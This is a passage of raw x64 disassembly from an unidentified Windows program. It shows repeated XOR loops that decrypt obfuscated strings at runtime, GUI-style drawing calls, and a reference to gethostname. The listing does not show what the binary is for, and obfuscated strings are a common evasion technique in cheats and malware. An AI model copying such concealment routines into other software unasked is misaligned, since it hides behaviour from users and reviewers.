pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0x124]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x124], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x120]
add r9, rax
nop
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140054e30
mov r9, rbx
lea rcx, [rbp + 0x120]
mov r8, rdi
mov rdx, r10
call fcn.14004d0b0
lea rcx, [rbp + 0x1110]
call fcn.140057ad0
lea rcx, [rbp + 0x1130]
call fcn.140057ad0
call fcn.14000b3c0
lea rcx, [rbp + 0x3d0]
mov dword [rbp + 0x3d0], 0x41700000
mov dword [rbp + 0x3d4], 0x43878000
call fcn.1400120c0
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
mov rax, qword [str.FCUQWT__a]
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0x268], 0x440ac000
mov dword [rbp + 0x26c], 0x42700000
je 0x140055054
cmp r13d, 2
jl 0x140055009
movdqa xmm2, xmmword [0x1400e7eb0]
mov ebx, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
mov eax, dword [str.5555555555555555]
mov edi, Ordinal_33
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, ebx
movd xmm5, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0xe0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0xe0], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0xe4]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
jmp 0x14005505c
lea r9, [rbp + 0xe0]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140055020
mov edi, Ordinal_33
lea ebx, [rdi - 0x1a]
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0xe0]
call fcn.14000b330
lea rcx, [rbp + 0x270]
mov dword [rbp + 0x270], 0x41200000
mov dword [rbp + 0x274], 0x41000000
call fcn.1400120c0
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
mov rcx, qword [0x1400e79f8]
mov qword [rbp + 0xc8], rcx
je 0x140055204
cmp r13d, 2
jl 0x1400551c4
movdqa xmm2, xmmword [0x1400e7eb0]
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
mov eax, dword [str.5555555555555555]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, ebx
movd xmm5, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0xc8]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0xc8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0xcc]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xcc], xmm2
jmp 0x140055204
lea r9, [rbp + 0xc8]
mov r8d, esi
nop
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1400551d0
lea rcx, [rbp + 0xc8]
call fcn.14003a3e0
call fcn.14003cdd0
call fcn.14003d3b0
lea rcx, [rbp + 0x278]
mov dword [rbp + 0x278], 0x41200000
mov dword [rbp + 0x27c], 0x42140000
call fcn.1400120c0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xb08]
mov r8d, edx
call fcn.140039c90
mov r9d, 0x3d
mov dword [rsp + 0x20], edx
mov r8d, r9d
lea rcx, [rbp + 0xb18]
mov edx, 0x40
mov rbx, rax
call fcn.140039c90
lea rcx, [0x1400ff038]
mov rdi, rax
call fcn.140057a80
mov ecx, dword [0x1400e7870]
mov r10, rax
movsd xmm0, qword [str.fcukzhrliwp]
mov r8d, esi
mov dword [rbp + 0x158], ecx
movzx ecx, word [0x1400e7874]
mov word [rbp + 0x15c], cx
movzx ecx, byte [0x1400e7876]
mov byte [rbp + 0x15e], cl
movsd qword [rbp + 0x150], xmm0
cmp r13d, 2
jl 0x1400553ee
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.5555555555555555]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.fcukzhrliwp]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x150], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0x154]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x154], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x150]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140055400
mov r9, rbx
lea rcx, [rbp + 0x150]
mov r8, rdi
mov rdx, r10
call fcn.14004d0b0
call fcn.14000b3c0
lea rcx, [rbp + 0x280]
mov dword [rbp + 0x280], 0x41700000
mov dword [rbp + 0x284], 0x43b70000
call fcn.1400120c0
mov eax, dword [str.VRYM:]
lea rdx, [rbp + 0x288]
mov dword [rbp - 0x20], eax
lea rcx, [rbp - 0x20]
movzx eax, word [0x1400e7938]
xor byte [rbp - 0x1f], 0x36
xor byte [rbp - 0x1e], 0x37
xor byte [rbp - 0x1d], 0x38
mov word [rbp - 0x1c], ax
xor al, 0x39
xor byte [rbp - 0x1b], 0x3a
mov byte [rbp - 0x1c], al
mov dword [rbp + 0x288], 0x440ac000
mov dword [rbp + 0x28c], 0x42480000
mov byte [rbp - 0x20], 0x63
call fcn.14000b330
lea rcx, [rbp + 0x290]
mov dword [rbp + 0x290], 0x41200000
mov dword [rbp + 0x294], 0x41000000
call fcn.1400120c0
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
mov r8d, 0xfc
lea rcx, [rbp + 0xb28]
lea edx, [r9 + 0x7c]
call fcn.140039c90
lea edx, [r9 + 0x40]
mov dword [rsp + 0x20], 0xff
mov r9d, 0x3d
lea rcx, [rbp + 0xb38]
mov r8d, r9d
mov r10, rax
call fcn.140039c90
movzx edx, word [0x1400e7790]
mov r8, rax
movzx ecx, byte [0x1400e7792]
movsd xmm3, qword [str._xsm]
xor cl, 0x3f
movsd xmm0, qword [str.fbvlli]
movzx eax, byte [0x1400e7978]
movsd qword [rbp + 0x80], xmm3
xor al, r9b
xor byte [rbp + 0x81], 0x36
xor byte [rbp + 0x82], 0x37
xor byte [rbp + 0x83], 0x38
xor byte [rbp + 0x84], 0x39
xor byte [rbp + 0x85], 0x3a
xor byte [rbp + 0x86], 0x3b
xor byte [rbp + 0x87], 0x3c
movsd qword [rbp + 8], xmm0
xor byte [rbp + 9], 0x36
xor byte [rbp + 0xa], 0x37
xor byte [rbp + 0xb], 0x38
xor byte [rbp + 0xc], 0x39
xor byte [rbp + 0xd], 0x3a
xor byte [rbp + 0xe], 0x3b
xor byte [rbp + 0xf], 0x3c
mov word [rbp + 0x88], dx
xor dl, r9b
xor byte [rbp + 0x89], 0x3e
mov r9, r10
mov byte [rbp + 0x88], dl
lea rdx, [rbp + 0x80]
mov byte [rbp + 0x8a], cl
lea rcx, [rbp + 8]
mov byte [rbp + 0x80], 0x55
mov byte [rbp + 8], 0x53
mov byte [rbp + 0x10], al
call fcn.14004d0b0
mov dword [rbp + 0x310], 0x41200000
mov dword [rbp + 0x314], 0x41d00000
lea rcx, [rbp + 0x310]
call fcn.1400120c0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xb48]
mov r8d, edx
call fcn.140039c90
mov r9d, 0x3d
mov dword [rsp + 0x20], edx
mov r8d, r9d
lea rcx, [rbp + 0xb58]
mov edx, 0x40
mov r10, rax
call fcn.140039c90
movzx ecx, byte [0x1400e7780]
mov r11, rax
mov byte [rbp + 0x6e8], cl
mov r8d, esi
lea ebx, [rdx - 0x21]
movups xmm0, xmmword [0x1400e7770]
movups xmmword [rbp + 0x6d8], xmm0
cmp r13d, 2
jl 0x1400557cd
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x6dc]
movdqa xmm5, xmmword [0x1400e7eb0]
mov r9d, 5
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, r9d
movd xmm8, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400556c0
cmp r8d, 0x11
jge 0x14005581a
movsxd rax, r8d
lea r9, [rbp + 0x6d8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1400557e0
mov r9d, 5
mov eax, dword [0x1400e7768]
mov r8d, esi
movsd xmm0, qword [str.ywdl]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x1400e776c]
mov word [rbp + 0xf4], ax
movzx eax, byte [0x1400e776e]
mov byte [rbp + 0xf6], al
movsd qword [rbp + 0xe8], xmm0
cmp r13d, 2
jl 0x140055973
movdqa xmm2, xmmword [0x1400e7eb0]
mov r8d, 8
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
mov eax, dword [str.5555555555555555]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r9d
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.ywdl]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0xe8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0xec]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xec], xmm2
movsxd rax, r8d
lea r9, [rbp + 0xe8]
add r9, rax
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140055980
mov r9, r10
lea rdx, [rbp + 0x6d8]
mov r8, r11
lea rcx, [rbp + 0xe8]
call fcn.14004d0b0
xor r9d, r9d
mov byte [rsp + 0x20], 0
xor r8d, r8d
lea rdx, [rbp + 0xb68]
call fcn.1400564a0
mov rdi, qword [0x1401000f0]
lea rdx, [rbp + 0x468]
mov qword [rbp + 0x474], r8
mov rbx, rax
mov qword [rbp + 0x46c], r8
mov dword [rbp + 0x468], esi
movups xmm0, xmmword [rdi + 0x16fc]
lea rcx, [rdi + 0x1e70]
movups xmmword [rbp + 0x46c], xmm0
call fcn.140023c00
movups xmm0, xmmword [rbx]
mov rcx, qword [0x1401000f0]
lea rdx, [rbp + 0x298]
movups xmmword [rdi + 0x16fc], xmm0
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp + 0x6c]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400e7dbc]
addss xmm2, dword [0x1400e7cf0]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [0x1400e7b20]
mov dword [rbp + 0x6c], eax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
xor byte [rbp + 0x6d], 0x36
xor al, 0x39
xor byte [rbp + 0x6e], 0x37
xor byte [rbp + 0x6f], 0x38
mov byte [rbp + 0x70], al
mov dword [rbp + 0x298], 0x42700000
mov dword [rbp + 0x29c], 0x41f00000
mov byte [rbp + 0x6c], Ordinal_79
call fcn.14004bf60
test al, al
je 0x140055b2f
lea rcx, [rbp + 0x10b0]
mov byte [0x1401000ec], 1
mov byte [0x1401000eb], 1
call fcn.140058560
lea rcx, [rbp + 0x10b0]
call fcn.140048510
cmp dword [rbp + 0x10b8], 0
jne 0x1400561eb
mov r8, qword [0x1401000f0]
movsxd rax, dword [r8 + 0x1e70]
mov rcx, qword [r8 + 0x1e78]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1e70]
call fcn.14000b3c0
xor edi, edi
jmp 0x140056010
cmp ecx, 3
jne 0x140056010
test al, al
jne 0x140056010
lea rcx, [rbp + 0x2a0]
mov dword [rbp + 0x2a0], 0x43200000
mov dword [rbp + 0x2a4], 0x42b40000
call fcn.1400120c0
movaps xmm3, xmm12
movss dword [rsp + 0x20], xmm12
movaps xmm2, xmm12
lea rcx, [rbp + 0xb78]
movaps xmm1, xmm12
call fcn.140001d00
movaps xmm3, xmm11
movss dword [rsp + 0x20], xmm11
movaps xmm2, xmm11
lea rcx, [rbp + 0xb88]
movaps xmm1, xmm11
mov rdx, rax
call fcn.140001d00
mov rcx, qword [0x1401001e0]
lea r9, [rbp + 0x2a8]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x2b0]
lea rdx, [rbp + 0x2b8]
mov dword [rbp + 0x2a8], 0x3f800000
mov dword [rbp + 0x2ac], 0x3f800000
mov qword [rbp + 0x2b0], 0
mov dword [rbp + 0x2b8], 0x43a00000
mov dword [rbp + 0x2bc], 0x43a00000
mov qword [rsp + 0x20], rax
call fcn.14003c9c0
movss xmm0, dword [0x1400e7d28]
call fcn.140012140
movzx eax, byte [0x1400e7a20]
mov ebx, 5
mov byte [rbp + 0x700], al
mov r8d, edi
movups xmm0, xmmword [0x1400e7a10]
lea esi, [rbx + 0x1a]
movups xmmword [rbp + 0x6f0], xmm0
cmp r13d, 2
jl 0x140055dcd
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x6f4]
movdqa xmm5, xmmword [0x1400e7eb0]
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, ebx
movd xmm8, esi
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140055cc0
cmp r8d, 0x11
jge 0x140055e14
movsxd rax, r8d
lea r9, [rbp + 0x6f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140055de0
lea rdx, [rbp + 0x6f0]
lea rcx, [rbp + 0xd98]
call fcn.140057bc0
mov rcx, rax
call fcn.14004d320
movaps xmm0, xmm10
call fcn.140012140
movups xmm1, xmmword [0x1400e7b80]
movups xmm0, xmmword [0x1400e7b70]
movups xmmword [rbp + 0x898], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp + 0x888], xmm0
test al, al
je 0x140055ff5
cmp r13d, 2
jl 0x140055fb7
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x88c]
movdqa xmm5, xmmword [0x1400e7eb0]
mov edx, edi
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov r8d, dword [rbp - 0x80]
movd xmm6, ebx
movd xmm8, esi
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x20
jl 0x140055eb0
jmp 0x140055ff5
lea r9, [rbp + 0x888]
mov r8d, edi
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x140055fc1
lea rdx, [rbp + 0x888]
lea rcx, [rbp + 0xd78]
call fcn.140057bc0
mov rcx, rax
call fcn.14004d320
call fcn.140011150
call fcn.14000a1a0
mov rcx, qword [0x140100148]
mov r9d, 3
mov dword [rsp + 0x30], edi
xor r8d, r8d
movss dword [rsp + 0x28], xmm11
xor edx, edx
mov dword [rsp + 0x20], edi
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x140100148]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140056093
call fcn.14000a660
mov rax, qword [0x1401000f0]
mov rcx, qword [rax + 0x1ef8]
mov rax, qword [rcx]
mov rcx, rdi
add rax, 0xa8
cmp byte [rax], 0
cmovne rcx, rax
call fcn.140035c80
mov rcx, qword [0x140100148]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [r14 + 8], 0x400
je 0x14005617b
call fcn.14001a330
mov rbx, qword [0x1401000f0]
mov r14d, 1
mov eax, dword [rbx + 0x1628]
cmp eax, r14d
jle 0x140056111
mov esi, 8
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x1400560fd
mov rax, qword [rbx + 0x15c0]
test rax, rax
je 0x1400560ea
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1608]
test rax, rax
je 0x1400560fd
xor edx, edx
mov rcx, rdi
call rax
mov eax, dword [rbx + 0x1628]
inc r14d
add rsi, 8
cmp r14d, eax
jl 0x1400560c3
xor edi, edi
mov r14d, 1
cmp eax, r14d
jle 0x14005616d
mov esi, 8
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x14005615b
mov rax, qword [rbx + 0x15c8]
test rax, rax
je 0x140056148
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1610]
test rax, rax
je 0x14005615b
xor edx, edx
mov rcx, rdi
call rax
inc r14d
add rsi, 8
cmp r14d, dword [rbx + 0x1628]
jl 0x140056121
xor edi, edi
mov r15, qword [rbp + 0x2c8]
